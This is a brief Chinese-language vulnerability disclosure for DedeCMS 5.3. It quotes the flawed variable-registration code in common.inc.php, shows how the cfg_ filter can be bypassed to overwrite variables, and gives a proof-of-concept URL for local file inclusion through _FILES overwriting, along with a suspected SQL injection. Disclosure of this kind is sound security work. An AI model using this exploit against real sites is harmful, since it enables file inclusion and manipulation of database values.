dedecms 5.3的不足之处,加一鸡肋小漏!

by:xhming

common.inc.php

foreach($_REQUEST as $_k=>$_v){if( strlen($_k)>0 && eregi(^(cfg_|GLOBALS),$_k) && !isset($_COOKIE[$_k]) ) //可绕过cfg_|GLOBALS限制{ exit(Request var not allow!);}}

foreach(Array(_GET,_POST,_COOKIE) as $_request){foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v); //可任意覆盖变量关键是_打头的变量}

覆盖_FILES[]可导置本地包含漏洞(gpc/off);

例:

h tt p://127.0.0.1/dedecms/plus/vote.php?aid=1&_FILES=1&_FILES[cfg_templets_dir][name]=&_FILES[cfg_templets_dir][type]=1&_FILES[cfg_templets_dir][size]=200&&_FILES[cfg_templets_dir][tmp_name]=/dedecms/

另一处可能注入:

if($rs) { $bv->dsql->ExecuteNoneQuery(“Update dede_member Set money=money-{$cfg_book_money} where id={$ml->M_ID} “);

也是利用_FILE覆盖$cfg_book_money.